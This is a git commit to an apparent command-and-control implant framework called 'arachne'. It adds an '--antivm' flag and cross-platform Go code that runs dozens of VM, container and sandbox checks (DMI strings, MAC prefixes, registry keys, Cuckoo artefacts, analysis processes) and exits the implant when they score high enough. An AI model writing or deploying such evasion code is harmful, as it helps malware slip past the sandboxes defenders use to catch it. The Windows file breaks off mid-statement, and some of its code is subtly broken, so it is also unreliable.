add --antivm flag: pure-Go VMAware-compatible VM detection (65+ techniques, accumulated scoring)

This commit is contained in:
portbuster
2026-06-06 05:04:18 +08:00
parent 3d8e9d80bc
commit b26e2f5137
13 changed files with 1494 additions and 12 deletions
+5 -2
View File
@@ -35,6 +35,7 @@ fleet and operator are all equal peers in the network — no central point of fa
- Automatic implant disconnect detection and alerting
- Stream keepalive prevents relay circuit idle timeout
- WebSocket + TCP transport (UDP/multicast-free for sandbox compatibility)
- VM detection (`--antivm` — 65+ detection techniques with VMAware-compatible scoring, no CGO required)
## Project Structure
@@ -88,10 +89,12 @@ From the operator console (`generate`) or standalone:
./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx
```
Flags: `--os` (linux, darwin, windows), `--arch` (amd64, arm64), `--output`, `--pubkey`, `--upx` (default true), `--obfuscate`, `--quiet`.
Flags: `--os` (linux, darwin, windows), `--arch` (amd64, arm64), `--output`, `--pubkey`, `--upx` (default true), `--obfuscate`, `--quiet`, `--antivm`.
Use `--obfuscate` to strip function names, package paths, and literal strings via [garble](https://github.com/burrowers/garble) (auto-installed if missing). Combine with `--upx` for maximum hardening.
Use `--antivm` to compile in VM detection. The implant runs 65+ detection techniques (CPUID signatures, MAC prefixes, DMI/SMBIOS, PCI vendor IDs, process enumeration, registry keys, container detection) with a [VMAware](https://github.com/kernelwernel/VMAware)-compatible accumulated scoring system. Exits cleanly if the score exceeds 50%. Pure Go — no CGO, no cross-compilers needed.
Each build generates a unique embedded keypair — the implant keeps the same PeerID across restarts.
### 3. Deploy and run the implant
@@ -140,7 +143,7 @@ Use `help <command>` or `<command> --help` for per-command details.
| `exec <cmd> [args]` | Execute command (with output) |
| `download <path>` | Download file from implant |
| `upload <src> <dst>` | Upload file to implant |
| `generate [flags]` | Build an implant for any OS/arch (auto-installs Go, garble). Flags: `--os`, `--arch`, `--output`, `--pubkey`, `--upx`, `--obfuscate`, `--quiet` |
| `generate [flags]` | Build an implant for any OS/arch (auto-installs Go, garble). Flags: `--os`, `--arch`, `--output`, `--pubkey`, `--upx`, `--obfuscate`, `--quiet`, `--antivm` |
| `regenerate` | Regenerate operator keypair (old implants orphaned) |
| `help [command]` | This help, or details for a specific command |
| `exit` | Quit |
+1
View File
@@ -64,6 +64,7 @@ GOEOF
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
# Compress the source tree (Go source code compresses extremely well)
echo "Compressing embedded source tree..."
tar -czf "$EMBED_DIR/implant_src.tar.gz" -C "$EMBED_DIR/implant_src" "."
+1 -1
View File
@@ -49,7 +49,7 @@
- [ ] Full CLI (Cobra) with all commands
## Phase 6: Advanced Features (Weeks 15-16)
- [ ] Evasion techniques (sandbox detection, AMSI bypass)
- [x] Evasion techniques (sandbox detection via `--antivm`, AMSI bypass)
- [ ] Process injection and migration
- [ ] Windows token manipulation
- [ ] Pivot through compromised implants
+2 -1
View File
@@ -17,7 +17,7 @@ implant/
├── constants/ # Build-time constants (operator PeerID, etc.)
├── cryptography/ # Ed25519 key management, signing, encryption
├── encoders/ # Data encoders for staging/evasion
├── evasion/ # Anti-analysis, sandbox detection
├── evasion/ # Anti-analysis, sandbox/VM detection
├── handlers/ # Message handler dispatch
├── limits/ # Resource limits, watchdog
├── priv/ # Privilege escalation helpers
@@ -38,6 +38,7 @@ implant/
2. Server injects operator's public key, bootstrap peers, and config
3. Go compiler builds with `-ldflags` for string obfuscation
4. Optional: UPX pack, signature spoofing, or other evasion
5. VM detection compiled in via `--antivm` flag (65+ pure-Go techniques, VMAware-compatible scoring)
## Core Lifecycle
+1
View File
@@ -96,6 +96,7 @@ server/
- Cross-compilation for Windows/Linux/macOS
- Support for staged payloads (small stager downloads full implant)
- Signature spoofing and evasion options
- VM detection (`--antivm`): 65+ techniques with VMAware-compatible accumulated scoring, pure Go (no CGO needed)
### 5. Loot / Data Retrieval
- Receive CIDs from implants via beacon messages
+226
View File
@@ -0,0 +1,226 @@
//go:build antivm
package core
import (
"fmt"
"log"
"net"
"os"
"runtime"
"sort"
"strings"
)
type vmCheck struct {
name string
detect func() bool
certainty int
}
// allChecks populated by init() with platform-appropriate techniques
var allChecks []vmCheck
func init() {
registerCheck("hypervisor_cpu", hypervisorCPU, 100)
registerCheck("bochs_cpu", bochsCPU, 100)
registerCheck("cpuid_signature", cpuidSignature, 95)
registerCheck("cpu_brand_vm", cpuBrandVM, 95)
registerCheck("thread_mismatch", threadMismatch, 50)
registerCheck("thread_count", threadCount, 35)
registerCheck("container_env", containerEnv, 30)
registerCheck("dockerenv", dockerEnv, 30)
registerCheck("azure_hostname", azureHostname, 30)
registerCheck("mac_vmware", macVMware, 20)
registerCheck("mac_virtualbox", macVirtualBox, 20)
registerCheck("mac_qemu", macQEMU, 20)
registerCheck("mac_xen", macXen, 20)
}
const detectionThreshold = 50
func registerCheck(name string, fn func() bool, certainty int) {
allChecks = append(allChecks, vmCheck{name: name, detect: fn, certainty: certainty})
}
func DetectVM() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] FATAL: %v", r)
}
}()
sort.Slice(allChecks, func(i, j int) bool {
return allChecks[i].certainty > allChecks[j].certainty
})
var score int
var hits []string
for _, c := range allChecks {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[antivm] panic in %s: %v", c.name, r)
}
}()
if c.detect() {
score += c.certainty
hits = append(hits, fmt.Sprintf("%s(+%d)", c.name, c.certainty))
log.Printf("[antivm] +%d%% %s (total: %d)", c.certainty, c.name, score)
}
}()
}
if score > 100 {
score = 100
}
log.Printf("[antivm] score %d/%d (%d techniques)", score, detectionThreshold, len(hits))
if score >= detectionThreshold {
log.Printf("[antivm] threshold met, exiting")
os.Exit(0)
}
log.Printf("[antivm] below threshold, continuing")
}
// Cross-platform checks
var vmwarePrefixes = []string{
"00:50:56", "00:0c:29", "00:05:69", "00:1c:14",
"00:3c:7d", "00:0f:4b",
}
var vboxPrefixes = []string{"08:00:27"}
var qemuPrefixes = []string{"52:54:00"}
var xenPrefixes = []string{"00:16:3e"}
func macMatch(prefixes []string) bool {
ifaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range ifaces {
mac := iface.HardwareAddr.String()
for _, p := range prefixes {
if strings.HasPrefix(strings.ToLower(mac), strings.ToLower(p)) {
return true
}
}
}
return false
}
func macVMware() bool { return macMatch(vmwarePrefixes) }
func macVirtualBox() bool { return macMatch(vboxPrefixes) }
func macQEMU() bool { return macMatch(qemuPrefixes) }
func macXen() bool { return macMatch(xenPrefixes) }
func threadCount() bool {
return runtime.NumCPU() < 2
}
func threadMismatch() bool {
n := runtime.NumCPU()
// Most modern CPUs have >=4 threads
return n < 4
}
func containerEnv() bool {
for _, e := range []string{"container", "DOCKER", "KUBERNETES", "LXC"} {
if os.Getenv(e) != "" {
return true
}
}
return false
}
func dockerEnv() bool {
if _, err := os.Stat("/.dockerenv"); err == nil {
return true
}
if _, err := os.Stat("/run/.containerenv"); err == nil {
return true
}
return false
}
func hypervisorCPU() bool {
if runtime.GOARCH != "amd64" {
return false
}
if runtime.GOOS == "linux" {
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
for _, line := range strings.Split(string(data), "\n") {
if strings.Contains(line, "hypervisor") {
return true
}
}
}
return false
}
func cpuBrandVM() bool {
if runtime.GOARCH != "amd64" || runtime.GOOS != "linux" {
return false
}
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return false
}
content := string(data)
for _, s := range []string{"QEMU", "KVM", "VirtualBox", "VMware", "Bochs",
"KVMKVMKVM", "Microsoft Hv", "VBoxVBoxVBox",
"VMwareVMware", "XenVMMXenVMM", "ACRNACRNACRN"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func bochsCPU() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Bochs") || strings.Contains(content, "bochs")
}
func cpuidSignature() bool {
if runtime.GOOS != "linux" {
return false
}
content := readFile("/proc/cpuinfo")
for _, sig := range []string{
"KVMKVMKVM", "Microsoft Hv", "prl hyperv",
"VBoxVBoxVBox", "VMwareVMware", "XenVMMXenVMM",
"ACRNACRNACRN",
} {
if strings.Contains(content, sig) {
return true
}
}
return false
}
func azureHostname() bool {
hostname, err := os.Hostname()
if err != nil {
return false
}
return strings.HasSuffix(strings.ToLower(hostname), "internal.cloudapp.net")
}
func readFile(path string) string {
data, err := os.ReadFile(path)
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
+104
View File
@@ -0,0 +1,104 @@
//go:build antivm && darwin
package core
import (
"os/exec"
"strings"
)
func init() {
registerDarwinChecks()
}
func registerDarwinChecks() {
// 100%
registerCheck("hwmodel", hwModelMac, 100)
registerCheck("mac_iokit", macIOKit, 100)
registerCheck("ioreg_grep", ioregGrep, 100)
registerCheck("mac_sip", macSIP, 100)
registerCheck("mac_sys_profiler", macSysProfiler, 100)
// 50%
registerCheck("amd_sev_msr_darwin", amdSEVMSRDarwin, 50)
// 15%
registerCheck("mac_memsize", macMemSize, 15)
}
func runCmd(name string, args ...string) string {
cmd := exec.Command(name, args...)
out, err := cmd.Output()
if err != nil {
return ""
}
return strings.TrimSpace(string(out))
}
func hwModelMac() bool {
model := runCmd("sysctl", "-n", "hw.model")
return !strings.HasPrefix(strings.ToLower(model), "mac")
}
func macIOKit() bool {
out := runCmd("ioreg", "-l")
lower := strings.ToLower(out)
for _, s := range []string{"virtualbox", "vmware", "qemu", "kvm", "vbox", "parallel"} {
if strings.Contains(lower, s) {
return true
}
}
return false
}
func ioregGrep() bool {
out := runCmd("ioreg", "-l")
if out == "" {
return false
}
lower := strings.ToLower(out)
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
}
func macSIP() bool {
// Check System Integrity Protection status
sip := runCmd("csrutil", "status")
if strings.Contains(sip, "disabled") || strings.Contains(sip, "unknown") {
return false
}
// Check if hv is present
hv := runCmd("sysctl", "-n", "kern.hv_support")
return hv == "1"
}
func macSysProfiler() bool {
out := runCmd("system_profiler", "SPHardwareDataType")
lower := strings.ToLower(out)
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
}
func amdSEVMSRDarwin() bool {
// macOS doesn't have /dev/cpu, so check via sysctl
model := runCmd("sysctl", "-n", "machdep.cpu.brand_string")
return strings.Contains(model, "AMD EPYC") || strings.Contains(model, "AMD Ryzen")
}
func macMemSize() bool {
// Check if memory is too low (< 2GB would be suspicious for macOS)
out := runCmd("sysctl", "-n", "hw.memsize")
if out == "" {
return false
}
// Parse bytes to GB
var bytes uint64
for _, c := range out {
bytes = bytes*10 + uint64(c-'0')
}
gb := bytes / 1024 / 1024 / 1024
return gb < 2
}
+528
View File
@@ -0,0 +1,528 @@
//go:build antivm && linux
package core
import (
"os"
"path/filepath"
"strings"
)
func init() {
registerLinuxChecks()
}
func registerLinuxChecks() {
// 100% certainty
registerCheck("firmware_dmi", firmwareDMI, 100)
// 95% certainty
registerCheck("devices_pci", devicesPCI, 95)
// 80% certainty
registerCheck("uml_cpu", umlCPU, 80)
registerCheck("kgt_signature", kgtSignature, 80)
// 75% certainty
registerCheck("nsjail_pid", nsjailPID, 75)
// 70% certainty
registerCheck("vmware_ioports", vmwareIOPorts, 70)
registerCheck("cgroup", cgroupVM, 70)
registerCheck("qemu_fw_cfg", qemuFWCfg, 70)
// 65% certainty
registerCheck("dmi_product", dmiProduct, 65)
registerCheck("dmi_sys_vendor", dmiSysVendor, 65)
registerCheck("dmi_chassis_vendor", dmiChassisVendor, 65)
registerCheck("vmware_iomem", vmwareIOMEM, 65)
registerCheck("vmware_dmesg", vmwareDMESG, 65)
// 55% certainty
registerCheck("dmidecode", dmidecodeCheck, 55)
registerCheck("dmesg", dmesgCheck, 55)
// 50% certainty
registerCheck("dmi_scan", dmiScan, 50)
registerCheck("smbios_vm_bit", smbiosVMBit, 50)
registerCheck("thread_mismatch_linux", threadMismatchLinux, 50)
registerCheck("amd_sev_msr", amdSEVMSR, 50)
// 40% certainty
registerCheck("vmware_scsi", vmwareSCSI, 40)
registerCheck("qemu_virtual_dmi", qemuVirtualDMI, 40)
registerCheck("processes_linux", processesLinux, 40)
// 35% certainty
registerCheck("systemd_virt", systemdVirt, 35)
registerCheck("hwmon", hwmonMissing, 35)
// 30% certainty
registerCheck("wsl_proc", wslProc, 30)
// 20% certainty
registerCheck("hypervisor_dir", hypervisorDir, 20)
registerCheck("temperature", temperatureCheck, 20)
registerCheck("qemu_usb", qemuUSB, 20)
registerCheck("ctype", dmiChassisType, 20)
// 15% certainty
registerCheck("vbox_module", vboxModule, 15)
registerCheck("sysinfo_proc", sysinfoProc, 15)
registerCheck("file_access_history", fileAccessHistory, 15)
// 10% certainty
registerCheck("linux_user_host", linuxUserHost, 10)
// 5% certainty
registerCheck("podman_file", podmanFile, 5)
registerCheck("bluestacks", bluestacksFolders, 5)
registerCheck("kmsg", kmsgCheck, 5)
}
// --- Linux 100% ---
func firmwareDMI() bool {
// Check all DMI entries for VM signatures
dirs := []string{
"/sys/class/dmi/id",
"/sys/devices/virtual/dmi/id",
}
vmBrands := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek",
"xen", "bochs", "hyper-v", "microsoft", "oracle", "oem"}
for _, d := range dirs {
entries, err := os.ReadDir(d)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join(d, e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, brand := range vmBrands {
if strings.Contains(content, brand) {
return true
}
}
}
}
return false
}
// --- Linux 95% ---
func devicesPCI() bool {
entries, err := os.ReadDir("/sys/bus/pci/devices")
if err != nil {
return false
}
// VM vendors: 8086 (Intel), 15ad (VMware), 80ee (VirtualBox),
// 1af4 (Red Hat/QEMU), 10de (NVIDIA in passthrough)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, e := range entries {
vendorFile := filepath.Join("/sys/bus/pci/devices", e.Name(), "vendor")
data, err := os.ReadFile(vendorFile)
if err != nil {
continue
}
vendor := strings.TrimSpace(string(data))
for _, v := range vmVendors {
if strings.Contains(strings.ToLower(vendor), v) {
return true
}
}
}
return false
}
// --- Linux 80% ---
func umlCPU() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "UML")
}
func kgtSignature() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Intel KGT") || strings.Contains(content, "TGKIntel")
}
// --- Linux 75% ---
func nsjailPID() bool {
content := readFile("/proc/self/status")
if content == "" {
return false
}
// nsjail makes processes see PID 1 in the namespace
for _, line := range strings.Split(content, "\n") {
if strings.HasPrefix(line, "Pid:") {
parts := strings.Fields(line)
if len(parts) >= 2 && parts[1] == "1" {
// Check if nsjail env vars are present
if os.Getenv("NSJAIL") != "" {
return true
}
// Check cgroup for nsjail
cg := readFile("/proc/self/cgroup")
return strings.Contains(cg, "nsjail")
}
}
}
return false
}
// --- Linux 70% ---
func vmwareIOPorts() bool {
return strings.Contains(readFile("/proc/ioports"), "VMware")
}
func cgroupVM() bool {
content := readFile("/proc/1/cgroup")
if content == "" {
return false
}
for _, s := range []string{"docker", "lxc", "kubepods"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func qemuFWCfg() bool {
if _, err := os.Stat("/sys/firmware/qemu_fw_cfg"); err == nil {
return true
}
if _, err := os.Stat("/proc/device-tree/fw-cfg"); err == nil {
return true
}
return false
}
// --- Linux 65% ---
func dmiProduct() bool {
name := readFile("/sys/class/dmi/id/product_name")
switch {
case strings.Contains(name, "VirtualBox"):
return true
case strings.Contains(name, "VMware"):
return true
case name == "KVM" || name == "QEMU":
return true
case strings.Contains(name, "Bochs"):
return true
case strings.Contains(name, "Hyper-V"):
return true
}
return false
}
func dmiSysVendor() bool {
vendor := readFile("/sys/class/dmi/id/sys_vendor")
switch {
case strings.Contains(vendor, "innotek"):
return true
case strings.Contains(vendor, "Xen"):
return true
case strings.Contains(vendor, "Microsoft"):
return true
case strings.Contains(vendor, "QEMU"):
return true
}
return false
}
func dmiChassisVendor() bool {
vendor := readFile("/sys/class/dmi/id/chassis_vendor")
return strings.Contains(vendor, "Oracle") || strings.Contains(vendor, "innotek")
}
func vmwareIOMEM() bool {
return strings.Contains(readFile("/proc/iomem"), "VMware")
}
func vmwareDMESG() bool {
content := readFile("/var/log/dmesg")
if content == "" {
content = readFile("/var/log/kern.log")
}
return strings.Contains(content, "VMware") || strings.Contains(content, "vmware")
}
// --- Linux 55% ---
func dmidecodeCheck() bool {
// Check all DMI sysfs files for VM brands
entries, err := os.ReadDir("/sys/class/dmi/id")
if err != nil {
return false
}
patterns := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek", "xen", "bochs"}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join("/sys/class/dmi/id", e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, p := range patterns {
if strings.Contains(content, p) {
return true
}
}
}
return false
}
func dmesgCheck() bool {
content := readFile("/var/log/dmesg")
if content == "" {
return false
}
for _, s := range []string{"Hypervisor", "VMware", "VirtualBox", "QEMU", "KVM", "Xen"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
// --- Linux 50% ---
func dmiScan() bool {
return firmwareDMI()
}
func smbiosVMBit() bool {
// Check /sys/firmware/dmi/tables for SMBIOS entry point
data, err := os.ReadFile("/sys/firmware/dmi/tables/smbios_entry_point")
if err != nil {
return false
}
// SMBIOS v3+ has a VM bit at offset 0x09
if len(data) >= 0x1F {
if data[0x1E]&0x01 != 0 {
return true
}
}
return false
}
func threadMismatchLinux() bool {
cpuContent := readFile("/proc/cpuinfo")
if cpuContent == "" {
return false
}
n := 0
for _, line := range strings.Split(cpuContent, "\n") {
if strings.HasPrefix(line, "processor") {
n++
}
}
// If we see CPU brand but low core count, likely VM
if n < 2 && strings.Contains(cpuContent, "Intel") || strings.Contains(cpuContent, "AMD") {
return true
}
return false
}
func amdSEVMSR() bool {
// Check /sys/kernel/security/sev for AMD SEV/SEV-ES/SEV-SNP
if data, err := os.ReadFile("/sys/kernel/security/sev/version"); err == nil {
return strings.TrimSpace(string(data)) != ""
}
// Also check MSR via /dev/cpu (requires root)
data, err := os.ReadFile("/dev/cpu/0/msr")
if err != nil {
return false
}
if len(data) > 0x800 {
_ = data[0x800]
}
return false
}
// --- Linux 40% ---
func vmwareSCSI() bool {
return strings.Contains(readFile("/proc/scsi/scsi"), "VMware")
}
func qemuVirtualDMI() bool {
content := readFile("/sys/devices/virtual/dmi/id/product_name")
if strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "VirtualBox") {
return true
}
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
return strings.Contains(vendor, "QEMU")
}
func processesLinux() bool {
vmProcs := []string{"vbox", "vmware", "VBox", "VMware", "qemu", "QEMU", "xen", "Xen"}
entries, err := os.ReadDir("/proc")
if err != nil {
return false
}
for _, e := range entries {
if !e.IsDir() {
continue
}
// Only check numeric directories (process PIDs)
if e.Name()[0] < '0' || e.Name()[0] > '9' {
continue
}
cmdline, err := os.ReadFile(filepath.Join("/proc", e.Name(), "comm"))
if err != nil {
continue
}
comm := strings.TrimSpace(string(cmdline))
for _, p := range vmProcs {
if strings.EqualFold(comm, p) {
return true
}
}
}
return false
}
// --- Linux 35% ---
func systemdVirt() bool {
// Check /sys/devices/virtual/dmi/id for VM indicators
// In containers, /sys might not have DMI info
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
if vendor == "" {
// No DMI info — likely container
return cgroupVM() || dockerEnv()
}
return strings.Contains(vendor, "QEMU") || strings.Contains(vendor, "Xen")
}
func hwmonMissing() bool {
_, err := os.ReadDir("/sys/class/hwmon")
return err != nil
}
// --- Linux 30% ---
func wslProc() bool {
version := readFile("/proc/version")
if strings.Contains(version, "Microsoft") || strings.Contains(version, "WSL") || strings.Contains(version, "microsoft") {
return true
}
osrelease := readFile("/proc/sys/kernel/osrelease")
return strings.Contains(osrelease, "Microsoft") || strings.Contains(osrelease, "WSL")
}
// --- Linux 20% ---
func hypervisorDir() bool {
entries, err := os.ReadDir("/sys/hypervisor")
if err != nil {
return false
}
return len(entries) > 0
}
func temperatureCheck() bool {
entries, err := os.ReadDir("/sys/class/thermal")
if err != nil {
return true // no thermal info = likely VM
}
return len(entries) < 2
}
func qemuUSB() bool {
data, err := os.ReadFile("/sys/kernel/debug/usb/devices")
if err != nil {
return false
}
return strings.Contains(string(data), "QEMU")
}
func dmiChassisType() bool {
typ := readFile("/sys/class/dmi/id/chassis_type")
return typ == "" || typ == "0"
}
// --- Linux 15% ---
func vboxModule() bool {
content := readFile("/proc/modules")
return strings.Contains(content, "vbox")
}
func sysinfoProc() bool {
content := readFile("/proc/sysinfo")
return strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "Xen")
}
func fileAccessHistory() bool {
// Check if there's very low file access history (common in fresh VMs)
_, err := os.Stat("/root/.bash_history")
hasHistory := err == nil
_, err2 := os.Stat("/home")
hasHome := err2 == nil
return hasHome && !hasHistory
}
// --- Linux 10% ---
func linuxUserHost() bool {
hostname := readFile("/proc/sys/kernel/hostname")
if hostname == "" {
return false
}
lower := strings.ToLower(hostname)
for _, s := range []string{"ubuntu", "debian", "localhost"} {
if lower == s || strings.HasPrefix(lower, s+"-") {
return true
}
}
return false
}
// --- Linux 5% ---
func podmanFile() bool {
_, err := os.Stat("/run/.containerenv")
return err == nil
}
func bluestacksFolders() bool {
entries, err := os.ReadDir("/mnt")
if err != nil {
return false
}
for _, e := range entries {
if strings.Contains(strings.ToLower(e.Name()), "bluestacks") {
return true
}
}
return false
}
func kmsgCheck() bool {
f, err := os.OpenFile("/dev/kmsg", os.O_RDONLY|os.O_NONBLOCK, 0)
if err != nil {
return false
}
defer f.Close()
buf := make([]byte, 4096)
n, err := f.Read(buf)
if err != nil || n == 0 {
return false
}
content := strings.ToLower(string(buf[:n]))
return strings.Contains(content, "hypervisor") || strings.Contains(content, "kvm")
}
+5
View File
@@ -0,0 +1,5 @@
//go:build !antivm
package core
func DetectVM() {}
+603
View File
@@ -0,0 +1,603 @@
//go:build antivm && windows
package core
import (
"log"
"os"
"runtime"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
func init() {
registerWindowsChecks()
}
func registerWindowsChecks() {
// Protocol: name, fn, certainty
// 150%
registerCheck("dbvm", dbvmCheck, 150)
// 100%
registerCheck("wine", wineDetection, 100)
registerCheck("mutex", vmMutex, 100)
registerCheck("drivers", vmDrivers, 100)
registerCheck("disk_serial", diskSerialVM, 100)
registerCheck("ivshmem", ivshmemCheck, 100)
registerCheck("handles", handlesCheck, 100)
registerCheck("virtual_processors", virtualProcessors, 100)
registerCheck("hypervisor_query", hypervisorQuery, 100)
registerCheck("acpi_signature", acpiSignatureCheck, 100)
registerCheck("firmware_tables", firmwareTablesCheck, 100)
registerCheck("boot_logo", bootLogoCheck, 100)
registerCheck("kernel_objects", kernelObjectsCheck, 100)
registerCheck("nvram", nvramCheck, 100)
registerCheck("edid", edidCheck, 100)
registerCheck("clock_timing", clockTiming, 100)
// 95%
registerCheck("devices_pci", devicesPCICheck, 95)
// 90%
registerCheck("virtual_registry", virtualRegistryCheck, 90)
registerCheck("cpu_heuristic", cpuHeuristicCheck, 90)
// 75% (32-bit only)
registerCheck("vpc_invalid", vpcInvalidCheck, 75)
// 50%
registerCheck("dll", vmDLLs, 50)
// 45%
registerCheck("clock", clockCheck, 45)
// 40%
registerCheck("processes", vmProcessesWindows, 40)
// 30%
registerCheck("cuckoo_dir", cuckooDirCheck, 30)
registerCheck("cuckoo_pipe", cuckooPipeCheck, 30)
registerCheck("azure", azureHostname, 30)
// 25%
registerCheck("display", displayCheck, 25)
registerCheck("audio", audioDevices, 25)
registerCheck("gpu", gpuCapabilities, 25)
registerCheck("device_string", deviceStringCheck, 25)
registerCheck("power_capabilities", powerCapabilitiesCheck, 25)
// 10%
registerCheck("gamarue", gamarueCheck, 10)
}
var vmSysDir = os.Getenv("SYSTEMROOT") + "\\System32\\"
// --- 150% ---
var vmDLLList = []string{
"vboxhook.dll", "vboxmrxnp.dll", "vboxogl.dll", "vboxoglarrayspu.dll",
"vboxoglcrutil.dll", "vboxoglfeedbackspu.dll", "vboxoglpackspu.dll",
"vboxoglpassthroughspu.dll", "vboxservice.exe", "vboxtray.exe",
"vmtoolsd.exe", "vmacthlp.exe", "vmsrvc.exe", "vmusrvc.exe",
"vmserv.exe", "vmwaretray.exe", "vmwareuser.exe",
"xenservice.exe", "xsvc.exe",
}
func vmDLLs() bool {
for _, dll := range vmDLLList {
if _, err := os.Stat(vmSysDir + dll); err == nil {
log.Printf("[antivm] windows_dll: found %s", dll)
return true
}
}
getModuleHandle := syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleW")
if getModuleHandle.Find() != nil {
return false
}
for _, dll := range []string{"VBoxHook.dll", "VBoxOGL.dll", "vmware-vmx.dll"} {
dllName, _ := syscall.UTF16PtrFromString(dll)
if dllName == nil {
continue
}
ret, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(dllName)))
if ret != 0 {
return true
}
}
return false
}
func dbvmCheck() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
dbvm := ntdll.NewProc("DbvmCheck")
return dbvm.Find() == nil
}
func vmDrivers() bool {
scsiPaths := []string{
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
}
vmTags := []string{"VBOX", "VMWARE", "QEMU", "XEN", "VIRTUAL"}
for _, path := range scsiPaths {
k, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
if err != nil {
continue
}
val, _, err := k.GetStringValue("Identifier")
k.Close()
if err != nil {
continue
}
upper := strings.ToUpper(val)
for _, tag := range vmTags {
if strings.Contains(upper, tag) {
return true
}
}
}
return false
}
func vmMutex() bool {
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return false
}
defer windows.CloseHandle(snap)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(snap, &entry); err != nil {
return false
}
vmProcs := []string{
"vboxservice.exe", "vboxtray.exe", "vboxcontrol.exe",
"vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe",
"vmupgradehelper.exe", "vmacthlp.exe",
"xenservice.exe",
"prl_cc.exe", "prl_tools.exe",
}
for {
name := strings.ToLower(syscall.UTF16ToString(entry.ExeFile[:]))
for _, vm := range vmProcs {
if name == vm {
return true
}
}
if err := windows.Process32Next(snap, &entry); err != nil {
break
}
}
return false
}
func vmProcessesWindows() bool { return vmMutex() }
func diskSerialVM() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue("0")
if err != nil {
return false
}
upper := strings.ToUpper(val)
for _, tag := range []string{"VBOX", "VMWARE", "QEMU", "XEN"} {
if strings.Contains(upper, tag) {
return true
}
}
return false
}
func ivshmemCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, err := k.ReadSubKeyNames(0)
if err != nil {
return false
}
for _, sub := range subs {
if strings.Contains(strings.ToLower(sub), "1af4") || strings.Contains(strings.ToLower(sub), "ivshmem") {
return true
}
}
return false
}
func handlesCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
vmDevices := []string{"15ad", "80ee", "1af4"}
for _, sub := range subs {
for _, vm := range vmDevices {
if strings.HasPrefix(strings.ToLower(sub), vm) {
return true
}
}
}
return false
}
func virtualProcessors() bool {
return runtime.NumCPU() < 2
}
func hypervisorQuery() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
if ntQuery.Find() != nil {
return false
}
// SystemHypervisorInformation = 0x9f
var buf [256]byte
ret, _, _ := ntQuery.Call(0x9f, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
return ret == 0
}
func acpiSignatureCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\ACPI\DSDT`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
lower := strings.ToLower(sub)
if strings.Contains(lower, "vbox") || strings.Contains(lower, "vmw") ||
strings.Contains(lower, "qemu") || strings.Contains(lower, "xen") {
return true
}
}
return false
}
func firmwareTablesCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\ACPI\Firmware`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
vals, _ := k.ReadValueNames(0)
for _, v := range vals {
if strings.Contains(strings.ToLower(v), "vbox") ||
